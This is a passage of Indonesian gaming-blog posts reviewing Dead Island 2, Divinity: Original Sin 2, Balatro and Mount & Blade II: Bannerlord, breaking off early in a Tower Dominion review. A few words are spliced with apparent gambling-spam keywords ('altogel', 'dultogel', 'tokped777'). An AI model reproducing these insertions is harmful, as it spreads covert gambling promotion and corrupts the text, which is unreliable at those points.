Plot utama Dead Island 2 mengikuti perjuangan karakter utama yang ternyata kebal terhadap infeksi zombie, dan mencoba mencari jalan keluar dari Los Angeles sambil bekerja sama (atau bentrok) dengan faksi-faksi yang bertahan hidup. Meski premisnya klise, penulisannya cerdas dan penuh humor gelap, seringkali mengejek budaya selebritas, gaya hidup mewah, dan obsesi manusia terhadap media sosial bahkan saat dunia hancur.

Cerita ini memang tidak mendalam seperti The Last of Us, tapi tidak pernah berniat seperti itu. Ia lebih condong pada gaya campy dan over-the-top, cocok untuk dunia game yang penuh warna dan darah.

Mode Multiplayer: Makin Seru dengan Teman

Dead Island 2 mendukung mode co-op hingga tiga pemain, memungkinkan kamu dan teman-teman menciptakan pesta zombie berdarah bersama. Walaupun game ini bisa dinikmati solo, pengalaman membantai zombie bersama pemain lain jelas menambah keseruan, terutama saat menghadapi gerombolan besar atau bos unik.

Namun, co-op di sini tidak mengusung sistem looting kompetitif atau kompetisi PvP. Semua pemain tetap fokus pada kerja sama, membuat pengalaman bermain lebih ramah dan santai, tanpa tekanan berebut item atau misi.

Visual dan Performa: Dunia Neraka yang Indah

Secara teknis, Dead Island 2 adalah game yang solid. Menggunakan Unreal Engine 4, game ini tampil dengan grafis yang tajam, efek pencahayaan dinamis, dan animasi musuh yang luar biasa detailβ€”terutama dalam sistem mutilasinya.

Di PS5 dan PC, game ini berjalan sangat lancar dengan frame rate stabil. Dunia semi-open-nya terasa cukup besar tanpa terasa kosong, karena tiap area memiliki misi sampingan, rahasia tersembunyi, dan desain lingkungan yang memikat secara visual.

Desain zombie juga sangat bervariasi, dengan berbagai jenis:

  • Walkers – zombie biasa dengan animasi realistis.
  • Runners – zombie cepat yang sulit dihindari.
  • Crushers – musuh besar dengan HP tinggi.
  • Screamers – bisa memanggil musuh lain dengan teriakan.

Variasi ini memastikan pertempuran tetap menantang dan dinamis, memaksamu untuk mengubah taktik secara berkala.

Kesimpulan: Pembantaian Zombie yang Penuh Gaya

Dead Island 2 bukan revolusi dalam genre zombie, tetapi ia adalah penyempurnaan dari kesenangan guilty pleasureβ€”game yang tidak malu menjadi gila, penuh kekerasan, dan mengedepankan hiburan murni. Dengan sistem FLESH yang inovatif, karakter penuh gaya, serta dunia penuh satir dan aksi, game ini sangat cocok bagi mereka yang ingin melepas stres dengan cara paling brutal dan lucu.

Kalau kamu mencari pengalaman naratif emosional, ini mungkin bukan game untukmu. Tapi kalau kamu ingin membantai zombie sambil tertawa, meng-upgrade senjata gila, dan menjelajahi neraka di tengah sinar matahari California, maka Dead Island 2 adalah pesta darah yang kamu butuhkan.

The post Dead Island 2 dan Kesenangan Brutal Membantai Zombie di Tengah Matahari California appeared first on Informasi Untukmu Seputar Game PC, Mobile Sampai Konsol.

Divinity: Original Sin 2 – Ketika Kebebasan, Cerita, dan Taktik Bertemu dalam RPG Terbaik Generasi Ini

2 July 2025 at 09:44

Di dunia RPG modern yang kerap didominasi game aksi dengan tempo cepat dan narasi yang ditentukan secara linear, muncul sebuah game yang berani menawarkan kebebasan mutlak, kedalaman cerita luar biasa, dan sistem pertarungan taktis berbasis giliran yang sangat kompleks. Game tersebut adalah Divinity: Original Sin 2 – Definitive Edition, mahakarya dari Larian Studios yang tak hanya diakui kritikus, tapi juga dicintai oleh komunitas penggemar RPG di seluruh dunia.

Dirilis pertama kali pada 2017 dan diperbarui lewat versi Definitive Edition pada 2018, Divinity: Original Sin 2 bukan sekadar sekuel, melainkan evolusi penuh dari genre RPG klasik dengan standar baru yang sulit ditandingi hingga hari ini. Dari segi narasi, eksplorasi, sistem pertarungan, hingga desain quest yang interaktif, game ini memberikan pemain kendali penuh atas takdir merekaβ€”baik sebagai pahlawan, pengkhianat, atau bahkan dewa.

Dunia Rivellon: Panggung Epik Penuh Pilihan

Divinity: Original Sin 2 berlatar di dunia fantasi Rivellon, beberapa abad setelah peristiwa game pertamanya. Di masa ini, kekuatan Sourceβ€”energi sihir kunoβ€”dipandang sebagai ancaman karena menarik perhatian makhluk luar dimensi bernama Voidwoken. Kamu, sebagai salah satu dari β€œSourcerers,” dijebloskan ke Pulau Fort Joy untuk direhabilitasi atau dihukum.

Namun, dari sinilah perjalananmu dimulai. Kamu bisa bermain sebagai karakter buatanmu sendiri, atau memilih salah satu dari enam Origin Characters, masing-masing dengan latar belakang, konflik, dan tujuan pribadi. Di antaranya:

  • Ifan ben-Mezd, mantan pembunuh bayaran.
  • Lohse, penyanyi yang dirasuki entitas jahat.
  • Fane, undead dari ras kuno yang terlupakan.
  • The Red Prince, bangsawan kadal dengan ambisi politik.
  • Sebille, elf budak pelarian yang haus balas dendam.
  • Beast, dwarf pemberontak dan kapten kapal.

Menariknya, setiap Origin Character bisa kamu mainkan atau rekrut sebagai companion. Mereka bukan hanya pengikut biasa, melainkan karakter hidup dengan dialog unik, pilihan moral sendiri, dan bahkan bisa bertentangan dengan keputusanmu.

Sistem Pertarungan yang Taktis, Interaktif, dan Brutal

Salah satu daya tarik utama game ini adalah sistem pertarungan turn-based yang sangat fleksibel dan penuh eksperimen. Dengan medan pertempuran yang bisa diubah oleh elemen seperti air, listrik, api, dan racun, kamu bisa menggabungkan efek secara strategis. Misalnya:

  • Gunakan sihir air untuk membasahi musuh, lalu sambar mereka dengan listrik untuk efek stun.
  • Hancurkan tong minyak, lalu nyalakan dengan api untuk menciptakan ledakan besar.
  • Gunakan kabut racun untuk menghalangi pandangan atau memulihkan undead.

Tidak ada sistem mana di sini. Sebagai gantinya, setiap karakter memiliki Action Points (AP) yang digunakan untuk bergerak, menyerang, atau menggunakan skill. Ini membuat setiap giliran menjadi teka-teki kecilβ€”haruskah kamu menyerang, berlindung, atau memposisikan ulang?

Tambahan lainnya adalah sistem armor fisik dan sihir, yang melindungi karakter dari efek crowd control hingga lapisan armor habis. Hal ini mendorong pemain untuk tidak hanya fokus pada damage, tetapi juga kontrol medan perang.

Dan yang paling menyenangkan? Setiap karakter bisa membangun kombinasi build yang sangat variatif. Kamu bisa membuat necromancer penyembuh, tank summoner, rogue pyrokinetic, atau bahkan undead polymorph yang menyamar jadi manusia.

Eksplorasi dan Quest yang Bukan Sekadar Ikon di Peta

Berbeda dari banyak RPG modern yang memberi arah jelas ke setiap tujuan, Divinity: Original Sin 2 percaya pada curiosity-driven exploration. Tidak semua quest akan muncul di journal. Beberapa hanya muncul dari obrolan acak, mendengarkan warga, atau bahkan membaca surat di mayat musuh.

Quest bisa diselesaikan dalam banyak caraβ€”bernegosiasi, menyelinap, membunuh, atau bahkan menghindari sama sekali. Setiap pilihanmu berdampak nyata, tidak hanya dalam bentuk reward, tapi juga bagaimana karakter lain merespons di masa depan.

Misalnya, kamu bisa membantu seorang penjaga menyelamatkan temannya dari racun, atau kamu bisa mencuri barangnya dan menyalahkan tawanan lain. Setiap tindakan bisa membuat kamu disukai, ditakuti, atau bahkan diburu oleh faksi tertentu.

Dan karena game ini memiliki sistem reputasi dan relasi antar karakter, kamu tidak hanya mengelola hubungan dengan dunia, tapi juga dengan anggota partymu sendiri. Jika kamu membuat keputusan yang bertentangan dengan nilai-nilai karakter companion, mereka bisa meninggalkan kelompokmuβ€”atau lebih buruk lagi, berbalik melawanmu.

Fitur Unik: Co-op dan Game Master Mode

Divinity: Original Sin 2 – Definitive Edition mendukung co-op hingga empat pemain, baik online maupun lokal dengan split-screen. Setiap pemain bisa mengendalikan satu karakter dan memilih jalannya sendiriβ€”bahkan pergi ke area berbeda secara bersamaan.

Hal ini membuka peluang untuk permainan kreatif dan kekacauan sosial yang menyenangkan. Temanmu bisa diam-diam mencuri dari toko sementara kamu sibuk berdiplomasi. Atau mereka bisa menikam NPC penting dan memaksamu bertarung karena reputasimu tercemar.

Tak hanya itu, Larian Studios juga menyematkan Game Master Mode, yang memungkinkan pemain menjadi dungeon master ala Dungeons & Dragons. Dengan fitur ini, kamu bisa membuat kampanye sendiri, menyesuaikan dialog, pertarungan, dan bahkan mengarahkan cerita secara manual. Ini menjadikan Divinity 2 sebagai platform RPG tabletop digital yang sangat fleksibel.

Penulisan dan Voice Acting yang Mendalam

Tak ada RPG yang lengkap tanpa narasi kuat, dan Divinity: Original Sin 2 berhasil menghadirkan penulisan kelas dunia. Dialog ditulis dengan humor, tragedi, dan kedalaman moral. Dunia Rivellon terasa hidup karena bukan sekadar latarβ€”melainkan kumpulan kisah, konflik, dan pertanyaan etis yang menantang.

Semua dialog disuarakan penuh (fully voiced), termasuk narator altogel yang membawa nuansa seperti membaca novel fantasi epik. Aktor pengisi suara membawa kehidupan ke setiap karakter, membuat momen kecil seperti berdiskusi dengan kucing atau berdebat dengan iblis terasa imersif dan berkesan.

Kombinasi penulisan dan voice acting membuat setiap pilihan terasa berat. Kamu tidak hanya mengklik pilihan acakβ€”kamu benar-benar memikirkan dampaknya, baik bagi dunia maupun hubungan personal dalam party.

Visual, Musik, dan Atmosfer yang Menyihir

Secara visual, Divinity 2 bukan game dengan grafis fotorealistik, tetapi menggunakan gaya artistik yang tajam dan elegan. Dunia fantasinya penuh warna dan detail, dari reruntuhan hutan magis, kota terapung di awan, hingga kapal misterius yang hidup.

Efek cuaca, pencahayaan, dan sihir terlihat memukau, apalagi saat kamu menggabungkan lima elemen di tengah pertempuran dan menciptakan ledakan yang memenuhi layar.

Musiknyaβ€”yang digubah oleh Borislav Slavovβ€”menyatu sempurna dengan tema epik dan emosional. Dari nada harpa lembut saat menjelajah, hingga irama perkusi saat bertarung dengan naga, semuanya terasa sinematik namun intim.

Versi Definitive Edition: Lebih Baik dalam Semua Hal

Versi Definitive Edition dari Divinity: Original Sin 2 bukan hanya perbaikan teknis, tetapi penyempurnaan menyeluruh. Quest disempurnakan, dialog tambahan diberikan, dan balancing sistem pertarungan diperbaiki. UI lebih ramah pengguna, loading lebih cepat, dan bug-bug minor dihilangkan.

Tambahan lainnya termasuk peningkatan performa untuk konsol, mode PvP, dan fitur cross-save antar platform. Semua ini menjadikan Definitive Edition sebagai versi terbaik untuk memulai atau mengulang petualangan epik ini.

Kesimpulan: RPG yang Menetapkan Standar Emas

Divinity: Original Sin 2 – Definitive Edition adalah lebih dari sekadar gameβ€”ia adalah pengalaman interaktif yang kompleks, emosional, dan sangat fleksibel. Setiap pilihan, pertarungan, percakapan, dan strategi adalah milikmu sepenuhnya. Tidak ada satu run yang identik, karena RPG ini benar-benar memberi kamu kendali penuh atas kisahmu sendiri.

Bagi pecinta RPG klasik seperti Baldur’s Gate, Planescape: Torment, atau Pillars of Eternity, game ini adalah penerus sejatiβ€”namun dengan standar modern. Dan bagi pemain baru, Divinity 2 adalah gerbang yang luar biasa ke dunia RPG yang benar-benar berarti.

Dalam dunia game, jarang ada karya yang mendekati kesempurnaan seperti ini.

The post Divinity: Original Sin 2 – Ketika Kebebasan, Cerita, dan Taktik Bertemu dalam RPG Terbaik Generasi Ini appeared first on Informasi Untukmu Seputar Game PC, Mobile Sampai Konsol.

Di Balik Kartu dan Angka: Mengapa Balatro Adalah Revolusi Poker Roguelike yang Membuatmu Kecanduan

2 July 2025 at 05:55

Dalam dunia game roguelike yang terus berinovasi, banyak pengembang mencoba memadukan elemen acak dengan genre-genre yang tidak konvensional. Namun, hanya sedikit yang berhasil menciptakan formula seadiktif dan sebrilian Balatro. Permainan kartu deck-builder ini mengambil dasar dari poker, memadukannya dengan roguelike yang ekstrem, dan kemudian menuangkan lapisan kreativitas yang tak terduga dalam bentuk Joker, Vouchers, dan Tarot Cards. Balatro bukan sekadar game kartu; ini adalah simulasi kekacauan yang terkendali, sebuah tarian angka dan keberuntungan yang akan membuat Anda terus menekan β€œmain lagi” hingga dini hari. Mari kita selami lebih dalam mengapa Balatro adalah permata tak terduga yang telah memikat hati para gamer di seluruh dunia, mengubah cara kita memandang potensi genre roguelike.

Inti yang Familiar, Revolusi yang Mengejutkan: Poker yang Berubah Wujud

Pada pandangan pertama, Balatro tampak sederhana: Anda bermain poker. Tujuannya adalah mencapai skor tertentu dengan kombinasi kartu poker (pasangan, flush, straight, full house, dll.) untuk maju ke Blind berikutnya. Namun, di sinilah kesederhanaan itu berakhir, dan kegilaan dimulai. Balatro mengambil aturan dasar poker dan melanggarnya dengan cara yang paling menyenangkan dan strategis.

Setiap kemenangan dalam Blind memberikan Anda uang, yang dapat digunakan di toko untuk membeli Joker, Tarot Cards, Planet Cards, atau Vouchers. Ini adalah mekanisme inti yang mendorong roguelike loop. Setiap run adalah kesempatan untuk membangun dek yang semakin overpowered dan menciptakan sinergi kartu yang absurd. Anda akan mulai dengan tangan yang lemah, tetapi dalam beberapa menit, Anda bisa mengeluarkan straight flush yang memberikan jutaan poin.

Kematian di Balatro, seperti roguelike lainnya, berarti kembali ke awal. Namun, ada meta-progression yang cerdas. Mengalahkan Blind tertentu, mencapai skor tertentu, atau menyelesaikan tantangan khusus akan membuka Joker baru, deck awal yang berbeda, atau tantangan yang lebih sulit. Ini memberikan rasa kemajuan yang konstan, bahkan dalam kekalahan, memotivasi pemain untuk terus mencoba kombinasi baru dan mencari cara untuk mendominasi.

Joker: Sang Pembuat Kekacauan yang Brilian

Jika ada satu elemen yang mendefinisikan Balatro, itu adalah Joker. Ini adalah kartu yang Anda kumpulkan dan tempatkan di lima slot terpisah, masing-masing memberikan efek pasif yang dapat mengubah cara Anda bermain secara fundamental. Joker dapat memberikan bonus multiplier untuk jenis tangan tertentu, menambahkan chips (poin) pada setiap kartu, atau bahkan memanipulasi probabilitas kemunculan kartu.

Variasi Joker sangat luas dan kreatif. Ada Joker yang memberikan bonus jika Anda tidak menggunakan kartu tertentu, Joker yang meningkatkan kekuatan Anda seiring dengan setiap discard, atau Joker yang secara otomatis membuat tangan Anda menjadi flush jika Anda memiliki kartu dengan warna yang sama. Menemukan sinergi antara Joker yang berbeda adalah kunci untuk mencapai skor yang memecahkan rekor. Anda mungkin menemukan kombinasi yang memungkinkan Anda mencetak poin besar dengan high card sekalipun, atau mengubah pair sederhana menjadi score-generating machine.

Setiap Joker memiliki rarity yang berbeda dan efek yang bervariasi, memastikan bahwa tidak ada dua run yang terasa sama. Anda akan menghabiskan waktu berjam-jam untuk bereksperimen dengan kombinasi Joker yang berbeda, menemukan broken builds yang memungkinkan Anda untuk mencapai Blind yang sangat tinggi dan melihat angka kerusakan yang tak masuk akal. Sensasi menemukan Joker langka yang sempurna untuk build Anda saat ini adalah salah satu momen paling memuaskan dalam game ini.

Kartu Tarot dan Planet: Memanipulasi Nasib dan Memperkuat Dek

Selain Joker, Balatro menawarkan dua jenis kartu konsumsi yang menambahkan lapisan strategi yang mendalam: Tarot Cards dan Planet Cards.

  • Tarot Cards: Ini adalah kartu satu kali pakai yang dapat memanipulasi dek Anda. Mereka dapat mengubah kartu menjadi foil atau polychrome (memberikan bonus chips atau multiplier), menghapus kartu dari dek Anda, menambahkan kartu tertentu, atau bahkan meningkatkan level kartu jenis tertentu. Tarot Cards memungkinkan Anda untuk mengkurasi dek Anda, menghilangkan kartu-kartu yang tidak berguna atau meningkatkan kartu-kartu kunci untuk sinergi yang lebih baik. Ini adalah alat yang sangat kuat untuk mengontrol probabilitas dan membangun build yang konsisten.
  • Planet Cards: Ini juga kartu satu kali pakai yang secara permanen meningkatkan level dari jenis tangan poker tertentu (misalnya, meningkatkan level Flush atau Full House). Semakin tinggi level tangan, semakin besar bonus chips dan multiplier yang diberikannya. Planet Cards adalah kunci untuk mengkhususkan build Anda. Jika Anda menemukan banyak Joker yang mendukung Flush, Anda akan ingin berinvestasi di Planet Cards yang meningkatkan level Flush Anda, mengubahnya menjadi sumber poin utama Anda.

Mengelola penggunaan kartu-kartu ini adalah seni tersendiri. Apakah Anda menggunakan Tarot Card untuk meningkatkan satu kartu kunci Anda, atau Anda menggunakannya untuk membersihkan dek Anda dari kartu-kartu yang tidak diinginkan? Apakah Anda menghabiskan uang untuk Planet Card yang akan meningkatkan build Anda saat ini, atau Anda menyimpan uang untuk Joker yang potensial? Pilihan-pilihan ini menentukan arah run Anda dan seringkali merupakan perbedaan antara kemenangan dan kegagalan.

Chip, Multiplier, dan Eksponensial:

Sistem penilaian di Balatro terdiri dari dua komponen utama: Chips (poin dasar) dan Multiplier.

  • Chips: Dihasilkan dari nilai kartu di tangan Anda dan bonus dari jenis tangan poker Anda.
  • Multiplier: Menggandakan jumlah chips Anda. Ini adalah kunci untuk mencapai skor astronomis.

Banyak Joker dan Perks lainnya berfokus pada peningkatan multiplier Anda, baik secara additive (ditambahkan) atau, yang paling kuat, secara multiplicative (dikalikan). Membangun sinergi multiplicative yang memungkinkan Anda untuk menggandakan pengganda Anda berulang kali adalah bagaimana Anda mencapai Blind yang sangat tinggi dan melihat angka-angka jutaan atau bahkan miliaran. Ini adalah sistem yang mendorong pemikiran eksponensial dan seringkali membuat Anda terkesima dengan seberapa besar angka yang bisa Anda hasilkan.

Desain Minimalis, Efek Maksimalis

Balatro mengadopsi gaya visual pixel art yang sederhana namun efektif, dengan palet warna dultogel yang terbatas namun kontras. Ini mungkin terlihat sederhana, tetapi desain ini memungkinkan efek visual yang eksplosif dan tumpukan angka yang membanjiri layar tanpa terasa berantakan. Animasi kartu yang mulus, efek suara yang memuaskan saat Anda mencetak skor besar, dan musik latar yang menenangkan namun adiktif semuanya berkontribusi pada pengalaman yang sangat polished.

Desain suara patut diacungi jempol. Suara chip yang ditumpuk, suara kartu yang ditarik, dan suara notifikasi saat Anda mencapai skor target semuanya memberikan umpan balik yang sangat memuaskan. Musiknya, meskipun sederhana, sangat cocok untuk game yang adiktif ini, menciptakan suasana yang tenang namun tegang.

Replayability Tak Terbatas dan Kurva Pembelajaran yang Memuaskan

Seperti roguelike yang baik, Balatro menawarkan replayability yang luar biasa. Setiap run terasa unik karena variasi acak Joker, Vouchers yang tersedia di toko, dan Tarot/Planet Cards yang Anda temukan. Setiap run adalah kesempatan untuk menemukan kombinasi broken baru, menguji strategi yang berbeda, dan mencapai Blind yang lebih tinggi.

Kurva pembelajarannya sangat memuaskan. Anda akan mulai dengan hanya memahami dasar-dasar poker, tetapi seiring waktu, Anda akan mulai memahami sinergi Joker, pentingnya discard yang cerdas, dan kapan harus mengambil risiko besar. Ada lapisan kedalaman yang terus terungkap seiring Anda bermain, menjaga game tetap segar dan menarik bahkan setelah puluhan atau ratusan jam.

Ada juga berbagai challenge run dan deck awal yang berbeda yang dapat Anda buka, masing-masing dengan aturan atau batasan unik yang memaksa Anda untuk beradaptasi dan mengembangkan strategi baru. Ini memberikan tantangan yang berkelanjutan bagi pemain yang ingin menguji batas kemampuan mereka.

Mengapa Balatro Begitu Adiktif?

Daya tarik utama Balatro terletak pada perpaduan sempurna antara kontrol pemain dan kekacauan acak. Anda membuat keputusan strategis yang signifikan tentang build dek Anda dan bagaimana Anda menggunakan kartu Anda, tetapi hasil akhirnya juga dipengaruhi oleh keberuntungan dalam menemukan Joker dan draw kartu. Kombinasi ini menciptakan siklus β€œsatu run lagi” yang tak terhindarkan. Anda selalu merasa di ambang penemuan build yang benar-benar gila, dan setiap kemenangan terasa seperti Anda telah berhasil menaklukkan sistem.

Balatro adalah contoh brilian tentang bagaimana game dapat mengambil konsep yang familiar dan mengubahnya menjadi sesuatu yang sepenuhnya baru dan adiktif. Ini adalah game yang sederhana untuk dipelajari, tetapi memiliki kedalaman strategi yang luar biasa untuk dikuasai. Ini adalah bukti bahwa inovasi kecil dalam mekanik inti dapat menghasilkan dampak yang sangat besar pada pengalaman bermain.

Kesimpulan: Sebuah Masterpiece Kecil yang Membuat Ketagihan

Balatro adalah sebuah fenomena. Ini adalah game yang membuktikan bahwa Anda tidak memerlukan grafis hyper-realistic atau anggaran pengembangan yang masif untuk menciptakan pengalaman yang mendalam dan sangat menyenangkan. Dengan konsep yang brilian, mekanisme yang adiktif, dan potensi replayability yang tak terbatas, Balatro telah mengukir tempatnya sebagai salah satu roguelike deck-builder terbaik yang pernah ada.

Ini adalah game di mana kegagalan adalah bagian dari proses pembelajaran, dan setiap kemenangan terasa seperti pencapaian heroik. Jika Anda mencari game yang akan menantang pemikiran strategis Anda, menguji keberuntungan Anda, dan membuat Anda terus menekan tombol β€œmain lagi” hingga mata Anda perih, maka Balatro adalah pilihan yang tak terbantahkan. Bersiaplah untuk melampaui batas poker dan masuk ke dalam pusaran kegilaan angka dan kartu, karena sekali Anda mulai, Anda mungkin tidak akan bisa berhenti.

The post Di Balik Kartu dan Angka: Mengapa Balatro Adalah Revolusi Poker Roguelike yang Membuatmu Kecanduan appeared first on Informasi Untukmu Seputar Game PC, Mobile Sampai Konsol.

Membangun Kerajaan dari Pedang dan Strategi di Mount & Blade II: Bannerlord

27 June 2025 at 09:43

Dalam dunia game strategi dan role-playing, hanya sedikit judul yang mampu memberikan sensasi kepemimpinan, peperangan, diplomasi, dan ekonomi dalam satu paket yang utuh. Mount & Blade II: Bannerlord adalah pengecualian yang luar biasa. Game besutan TaleWorlds Entertainment ini menjadi pelengkap sempurna bagi penggemar strategi yang juga mendambakan pertarungan real-time dan simulasi dunia terbuka yang hidup.

Sebagai Glory United, editor dari EAXCO Gaming News & Esports, saya mengajak Anda menyelami dunia Calradiaβ€”sebuah benua fiktif yang bergolak oleh ambisi, perang saudara, dan kekuasaan yang terus diperebutkan. Dalam Bannerlord, Anda bukan hanya seorang pejuang. Anda adalah pemimpin masa depan, penakluk wilayah, pedagang ulung, atau bahkan diplomat ulungβ€”semua ditentukan oleh cara Anda bermain.

Kembalinya Warisan Mount & Blade dengan Skala Lebih Besar

Mount & Blade II: Bannerlord adalah prekuel dari Mount & Blade: Warband, salah satu game strategi cult-classic yang dicintai karena kebebasannya. Di Bannerlord, kita kembali ke Calradia, namun dengan latar waktu sekitar 200 tahun sebelum Warband. Ini adalah masa di mana Kekaisaran Calradic tengah runtuh, dan faksi-faksi mulai berebut sisa-sisa kejayaannya.

Dari awal permainan, pemain diberi kebebasan untuk menciptakan karakter dengan latar belakang unikβ€”seorang bangsawan, bandit yang bertobat, pedagang keliling, atau pengembara. Setiap pilihan awal ini memengaruhi atribut, keahlian, dan peluang awal dalam permainan. Namun, seiring waktu, semua bisa berubah. Anda bisa menjadi siapa saja. Itulah kekuatan utama Bannerlord.

Simulasi Dunia yang Dinamis dan Penuh Interaksi

Tidak seperti banyak game strategi yang mengikuti alur linear, Bannerlord menyuguhkan dunia yang terus berjalan, bahkan saat Anda tidak ikut campur. Perang terjadi antara kerajaan, desa bisa dihancurkan, keluarga bangsawan bisa punah, dan ekonomi bisa runtuh. Semua ini terjadi berkat sistem sandbox world simulation yang sangat kompleks.

Setiap faksi memiliki agenda sendiri, dan Anda bisa memihak atau melawan siapa pun. Anda bisa bergabung dalam perang saudara, mengatur pernikahan politik, atau sekadar menjadi tentara bayaran yang menjual jasa pada pihak tertinggi. Dunia Calradia terasa hidup dan bereaksi terhadap keputusan Anda.

Sistem Pertarungan Real-Time yang Brutal dan Menegangkan

Salah satu daya tarik terbesar dari Bannerlord adalah sistem pertarungan real-time-nya tokped777. Ketika pasukan Anda bertemu musuh, Anda langsung masuk ke medan perang. Tidak hanya sebagai penonton strategi, tetapi benar-benar ikut bertarung. Anda bisa memimpin dari garis depan, menunggang kuda sambil mengayunkan pedang, atau menembakkan panah dari kejauhan.

Pertarungan ini sangat mendetail. Ada sistem damage berdasarkan lokasi, momentum serangan, jenis senjata, bahkan armor musuh. Skala peperangan juga mengesankan, dengan ratusan unit bisa bertarung dalam satu pertempuran besar.

Selain itu, ada juga sistem perintah taktis. Anda bisa membagi pasukan ke dalam unit, memberi komando untuk membentuk garis perisai, mengepung musuh, atau menyerbu. Kombinasi antara keterampilan individu dan strategi militer menjadikan Bannerlord bukan sekadar game perang biasa.

Manajemen Kerajaan dan Ekonomi yang Kompleks

Saat Anda cukup kuat, Anda bisa membentuk kerajaan sendiri. Inilah fase permainan yang membawa tantangan tersendiri. Anda harus mengelola kota, kastil, dan desa, memperhatikan ekonomi, keamanan, loyalitas rakyat, hingga diplomasi dengan kerajaan lain.

Bangunan bisa ditingkatkan, pajak diatur, garnisun ditambah, dan pemberontakan bisa dicegah. Namun, semua ini tidak berjalan otomatis. Keputusan Anda akan berdampak langsung. Misalnya, menaikkan pajak bisa mempercepat pembangunan, tetapi juga membuat rakyat tidak senang dan berisiko memberontak.

Selain itu, sistem ekonomi perdagangan sangat dinamis. Harga barang berubah tergantung kelangkaan dan permintaan antar wilayah. Anda bisa menjadi saudagar sukses dengan membangun karavan atau membuka usaha seperti bengkel dan pabrik di kota-kota besar.

Sistem Perkembangan Karakter dan Keluarga

Bannerlord juga memiliki sistem RPG yang mendalam. Karakter Anda dan para companion memiliki atribut, skill, dan perk yang bisa ditingkatkan. Ada banyak skill seperti One-Handed, Leadership, Trade, Tactics, hingga Charm yang semuanya berperan penting dalam kelangsungan hidup dan keberhasilan Anda.

Menariknya, game ini memiliki sistem pewarisan. Anda bisa menikah, memiliki anak, dan jika Anda mati dalam permainan, anak Anda bisa mewarisi kerajaan dan melanjutkan perjuangan Anda. Ini memberi nuansa legacy yang jarang ditemui di game lain.

Modding Community yang Aktif dan Kreatif

Salah satu kekuatan besar Mount & Blade sejak dulu adalah komunitas modding-nya. TaleWorlds secara terbuka mendukung modifikasi, dan ini terlihat dari banyaknya mod yang muncul hanya beberapa bulan setelah rilis.

Mulai dari perubahan visual, penambahan senjata dan baju besi, hingga overhaul total seperti mengubah setting menjadi dunia Game of Thrones atau The Lord of the Rings, semua bisa Anda temukan. Hal ini membuat Bannerlord menjadi game yang bisa dimainkan berkali-kali dengan pengalaman berbeda.

Grafis dan Performa: Peningkatan Nyata dari Warband

Secara visual, Bannerlord jauh melampaui pendahulunya. Model karakter lebih detail, pencahayaan realistis, efek partikel pertempuran menawan, dan lingkungan seperti pegunungan atau padang pasir terasa hidup. Kota-kota kini terasa ramai dengan NPC yang beraktivitas, tidak hanya sekadar pajangan.

Namun, skala permainan yang besar juga membawa tantangan performa, terutama dalam pertempuran massal. TaleWorlds terus memperbaiki performa ini melalui update rutin. Versi terbarunya sudah jauh lebih stabil dan optimal untuk PC kelas menengah ke atas.

Kesimpulan: Game Impian Para Penakluk Strategi

Mount & Blade II: Bannerlord adalah perpaduan luar biasa antara game strategi, RPG, dan simulasi dunia terbuka. Bagi Anda yang ingin merasakan sensasi menjadi jenderal medan perang sekaligus raja yang harus menjaga kerajaan dari kehancuran, game ini adalah pilihan yang sulit ditandingi.

Ini bukan game yang memberi semuanya secara instan. Anda harus bekerja keras, membangun reputasi, bertempur, berdiplomasi, dan berpikir panjang. Tapi di situlah letak kenikmatannya. Ketika akhirnya Anda duduk di singgasana dengan puluhan kota di bawah kekuasaan, Anda tahu bahwa setiap jengkal tanah itu didapatkan melalui perjuangan.

Saya tidak ragu menyebut Mount & Blade II: Bannerlord sebagai salah satu game strategi terbaik yang pernah ada. Ini adalah game yang tak hanya memberi Anda cerita, tapi membiarkan Anda menulis kisah sendiri dengan pedang dan pena diplomasi.

The post Membangun Kerajaan dari Pedang dan Strategi di Mount & Blade II: Bannerlord appeared first on Informasi Untukmu Seputar Game PC, Mobile Sampai Konsol.

Tower Dominion: Perang Strategi Epik yang Menguji Kecerdikan Pemain!

8 May 2025 at 07:37

Di tengah menjamurnya berbagai judul game strategi dengan elemen tower defense, muncul satu judul menarik yang berhasil menarik perhatian para penggemar genre tersebut, yaitu Tower Dominion. Dikembangkan oleh studio indie yang inovatif, game ini menggabungkan elemen tower defense tradisional dengan berbagai fitur menarik yang mengharuskan pemain berpikir secara strategis dan kreatif dalam menghadapi gelombang musuh yang terus-menerus menyerang. Tidak hanya sekadar menempatkan menara pertahanan secara acak, Tower Dominion menuntut pemain untuk benar-benar memahami medan tempur dan menyusun strategi matang.

Secara umum, Tower Dominion menghadirkan sebuah dunia fantasi dengan berbagai ras dan faksi unik, masing-masing memiliki karakteristik serta kemampuan khusus. Pemain bertindak sebagai seorang pemimpin yang bertanggung jawab melindungi wilayahnya dari serangan para penyerbu yang datang silih berganti. Apa yang membuat Tower Dominion begitu menarik dibandingkan game sejenis adalah kebebasan yang diberikan dalam mengembangkan gaya bermain serta variasi gameplay yang membuat pemain tidak pernah merasa bosan.

Gameplay yang Menantang Kecerdasan

Salah satu poin utama yang membedakan Tower Dominion dengan judul tower defense lainnya adalah tingkat kesulitannya yang menantang namun tetap adil. Gameplay dalam Tower Dominion tidak hanya tentang menempatkan menara sebanyak-banyaknya di sepanjang jalur musuh, melainkan tentang menemukan keseimbangan sempurna antara serangan, pertahanan, serta manajemen sumber daya yang terbatas.

Setiap sesi permainan menghadirkan tantangan berbeda, seperti jenis musuh yang berubah-ubah, medan pertempuran yang dinamis, hingga berbagai kondisi khusus yang memaksa pemain berpikir dua kali sebelum memutuskan menara pertahanan mana yang akan mereka bangun terlebih dahulu. Strategi yang matang sangat dibutuhkan, mengingat Tower Dominion sering kali memberikan kejutan berupa gelombang serangan yang tiba-tiba meningkat tajam, menguji seberapa baik pemain merencanakan pertahanan mereka sebelumnya.

Selain itu, pemain juga harus pandai dalam mengatur sumber daya yang tersedia, karena menara yang kuat biasanya membutuhkan biaya lebih tinggi. Tidak jarang, pemain harus memilih antara memperkuat pertahanan yang sudah ada atau membangun menara baru yang mungkin lebih efektif melawan musuh tertentu. Dinamika ini menjadikan setiap keputusan terasa kritis dan penuh pertimbangan.

Varian Menara yang Beragam dan Unik

Tower Dominion menawarkan berbagai jenis menara dengan desain serta fungsi unik yang bisa dikombinasikan untuk menciptakan strategi pertahanan optimal. Setiap menara memiliki kekuatan dan kelemahan masing-masing, sehingga pemain harus benar-benar memahami karakteristik masing-masing menara untuk bisa menempatkannya secara efektif.

